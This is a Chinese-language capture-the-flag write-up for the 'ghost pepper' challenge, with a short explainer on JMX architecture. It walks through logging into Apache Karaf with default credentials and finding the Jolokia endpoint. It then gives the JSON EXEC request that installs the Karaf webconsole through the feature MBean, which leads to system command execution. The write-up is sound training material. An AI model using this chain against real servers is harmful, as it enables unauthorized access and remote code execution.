ghost pepper
访问网站,需要401认证,抓包看一下,发现有realm="karaf",网上搜索一些karaf有关资料,发现其的默认用户名与密码为karaf/karaf
,成功登录,登录上去发现访问的目录都是404,这里联想一下ghost pepper,由于网站的服务器是jetty,猜测题目的意思应该是某一个java的组件,一番搜索之后发现jolokia的logo是一个辣椒(Lombok的logo也是一个辣椒),这里访问/jolokia成功访问。
这个jolokia是一个JMXJava Management Extensions
管理程序。
什么是JMX
就是一个用于管理java应用程序的拓展,可以很方便的监控运行中的jvm中的各种数据。
JMX架构
JMX的架构分为3层,
- 最底层是Meban,就是
Managed Bean
,类似于javabean,遵循一定的规范,我们可以把需要管理的一些属性集成在Mbean中,来统一管理。通过MBean中暴露的方法和属性,外界可以获取被管理的资源的状态和操纵MBean的行为,外界使用自醒和反射来获取Object的值和调用Object的方法,只是MBean更为复杂和高级一些。MBean通过公共方法以及遵从特定的设计模式封装了属性和操作,以便暴露给管理应用程序。例如,一个只读属性在管理构件中只有Get方法,既有Get又有Set方法表示是一个可读写的属性。一共有四种类型的MBean: Standard MBean, Dynamic MBean, Open MBean, Model MBean。 - 往上是代理层,用于注册管理MBean,可以理解为有点像容器,同时暴露出接口供上层来远程调用。
- 远程调用接口来管理MBean,可以使用http,snmp等来访问。
回到题目,我们可以调用/jolokia/list来列出所有的注册的Mbean,这里我们发现karaf中有一个Mbean是用来管理karaf的feature的。在查阅资料的时候发现karaf是可以安装一个webconsole的。我们就想用这个Mbean来安装这个webconsole
"installFeature": [{
"args": [{
"name": "p1",
"type": "java.lang.String",
"desc": ""
}, {
"name": "p2",
"type": "java.lang.String",
"desc": ""
}, {
"name": "p3",
"type": "boolean",
"desc": ""
}, {
"name": "p4",
"type": "boolean",
"desc": ""
}],
"ret": "void",
"desc": "Operation exposed for management"
}
用Postman构造post包。这里注意要修改content-type
{
"type": "EXEC",
"mbean": "org.apache.karaf:name=root,type=feature",
"operation": "installFeature",
"arguments": ["webconsole"]
}
返回包部分:
{"mbean":"org.apache.karaf:name=root,type=feature","arguments":["webconsole"],"type":"exec","operation":"installFeature"},"stacktrace":"java.lang.IllegalArgumentException: Operation installFeature on MBean org.apache.karaf:name=root,type=feature is overloaded. Signatures found: (java.lang.String,java.lang.String,boolean,boolean),(java.lang.String,java.lang.String),(java.lang.String,boolean,boolean),(java.lang.String,boolean),(java.lang.String),(java.lang.String,java.lang.String,boolean)
这里提示这个方法被重载了,我们应该指定调用哪一个方法。
{
"type": "EXEC",
"mbean": "org.apache.karaf:name=root,type=feature",
"operation": "installFeature(java.lang.String)",
"arguments": ["webconsole"]
}
然后我们访问/system/console,在main中进入gogo控制台
然后使用exec 执行系统命令,在根目录下可以找到flag